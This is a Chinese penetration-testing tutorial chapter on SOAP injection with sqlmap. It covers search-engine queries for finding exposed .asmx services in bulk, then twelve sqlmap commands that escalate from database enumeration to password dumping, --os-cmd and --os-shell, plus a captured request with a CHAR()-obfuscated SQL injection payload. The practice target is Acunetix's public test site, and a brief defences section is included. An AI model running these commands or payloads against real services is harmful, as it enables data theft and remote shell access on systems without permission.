Tips: 关于这本书籍的每个章节,在B站上都有视频
https://www.bilibili.com/video/av840841045
3.3 使用sqlmap进行SOAP注入
3.3.1 SOAP简介
在 2000 年 5 月,UserLand、Ariba、Commerce One、Compaq、Developmentor、HP、IBM、IONA、Lotus、Microsoft 以及 SAP 向 W3C 提交了 SOAP 因特网协议,这些公司期望此协议能够通过使用因特网标准(HTTP 以及 XML)把图形用户界面桌面应用程序连接到强大的因特网服务器,以此来彻底变革应用程序的开发。首个关于 SOAP 的公共工作草案由 W3C 在 2001 年 12 月发布
SOAP 是微软.net 架构的关键元素,用于未来的因特网应用程序开发。SOAP是基于XML的简易协议,可使应用程序在 HTTP 之上进行信息交换。或者更简单地说:SOAP 是用于访问网络服务的协议。SOAP 提供了一种标准的方法,使得运行在不同的操作系统并使用不同的技术和编程语言的应用程序可以互相进行通信。SOAP也大量应用于收集App与服务器通信和数据传输中
对于应用程序开发来说,使程序之间进行因特网通信是很重要的。目前的应用程序通过使用远程过程调用(RPC)在诸如 DCOM 与 CORBA 等对象之间进行通信,但是 HTTP 不是为此设计的。RPC 会产生兼容性以及安全问题;防火墙和代理服务器通常会阻止此类流量。通过 HTTP 在应用程序间通信是更好的方法,因为 HTTP 得到了所有的因特网浏览器及服务器的支持。SOAP 就是被创造出来完成这个任务的。
https://www.w3school.com.cn/soap/soap_intro.asp
3.3.2 SOAP注入漏洞
1.SOAP注入漏洞简介
用户提交的数据直接插入SOAP消息中,攻击者可以破坏消息的结构,从而实现SOAP注入,SOAP请求容易受到SQL注入攻击,通过修改提交参数,其SQL查询可以泄露敏感信息,通过AWVS工具可以对SOAP服务进行漏洞扫描,保存,存在注入漏洞请求头和内容文件,可以通过sqlmap进行注入测试,其攻击原理与普通注入测试类似,SOAP除了SQL注入漏洞外,还有可能存在命令注入,可以在其参数中直接执行命令
2.SOAP扩展WSDL服务漏洞测试工具
Wsdler是针对Burpsuite而开发的一个插件,其GitHub地址:http://github.com/NetSPI/Wsdler 这款插件配合Burpsuite可以对WSDL服务进行枚举,暴力破解及注入漏洞等测试
3.SoapUI安全漏洞扫描工具
SoapUI是一款针对SOAP安全漏洞的扫描工具,支持SQL注入,XPath注入,边界扫描,无效的类型,XML格式错误,XML炸弹,恶意附件,跨站脚本和自定义脚本扫描
3.3.3 SOAP注入漏洞扫描
1.利用漏洞搜索引擎大范围搜索
(1) zoomeye网站搜索,需要登录,关键字:asmx+美国
Web访问的形式:
https://www.zoomeye.org/searchResult?q=asmx%20%E7%BE%8E%E5%9B%BD
API的形式:
http://www.zoomeye.org/search?q=asmx%20country%3A%22US
(2) shodan网站搜索,需要登录,关键字:asmx country:"CN"
https://www.shodan.io/search?query=asmx+country%3AUS
(3) fofa搜索 关键字:amsx && country=US
https://fofa.so/
2. 扫描WSDL服务漏洞
这里是AWVS进行扫描即可,记住选Web Services进行扫描
下面是使用AWVS官方提供的测试网站进行测试扫描
http://testaspnet.vulnweb.com/acuservice/service.asmx?WSDL
3. 保存抓包文件
将上面使用AWVS扫描出来的漏洞,右键发送至Text Only ,然后复制保存为soap.txt文件 ,使用sqlmap的 -r参数进行扫描
3.3.4 使用sqlmap进行SOAP注入实战
1. 通过Burpsuite进行抓包
2. 使用sqlmap进行测试
(1) sqlmap.py -r soap.txt --batch
(2) sqlmap.py -r soap.txt --batch --current-db
(3) sqlmap.py -r soap.txt --batch --current-user
(4) sqlmap.py -r soap.txt --batch --is-dba
(5) sqlmap.py -r soap.txt --batch --users
(6) sqlmap.py -r soap.txt --batch --passwords
(7) sqlmap.py -r soap.txt --batch --dbs
(8) sqlmap.py -r soap.txt --batch -D acublog --tables
(9) sqlmap.py -r soap.txt --batch -D acublog -T users --columns
(10) sqlmap.py -r soap.txt --batch -D acublog --dump-all
(11) sqlmap.py -r soap.txt --batch --os-cmd=dir
(12) sqlmap.py -r soap.txt --batch --os-shell
3.3.5 SOAP注入漏洞防范方法及渗透总结
1. SOAP注入漏洞
SOAP注入漏洞可以通过白名单和字符过滤方式来防范,对可能导致SQL注入的危险符号和语句进行过滤,在用户提交的数据被插入SOAP消息的实施边界进行过滤
2. WebService XML实体注入漏洞解决方案
目标存在WebService XML实体注入漏洞,XML是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素,当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件,执行系统命令,探测内网端口,攻击内网网站等危害
(1) 关闭XML解析函数的外部实体
(2) 过滤用户输入的非法字符,如:< > % +等
3. SOAP SQL注入sqlmap运行命令
sqlmap.py -r soap.txt --batch
AWVS官方测试站点请求参数
POST /acuservice/service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/GetUserInfo"
Content-Length: 753
Host: testaspnet.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetUserInfo>
<urn:username>'+(select convert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(65)+CHAR(50)+CHAR(117)+CHAR(90)+CHAR(67)+CHAR(113)+CHAR(54)+CHAR(112)) FROM syscolumns)+'</urn:username>
<urn:password>g00dPa$$w0rD</urn:password>
</urn:GetUserInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
=================================================
标准存在漏洞的位置为星号 "*"
POST /acuservice/service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/GetUserInfo"
Content-Length: 753
Host: testaspnet.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetUserInfo>
<urn:username>bmfx*</urn:username>
<urn:password>shit2</urn:password>
</urn:GetUserInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
参考:
https://blog.csdn.net/niexinming/article/details/49491643
https://skysec.top/2018/08/17/SOAP%E5%8F%8A%E7%9B%B8%E5%85%B3%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/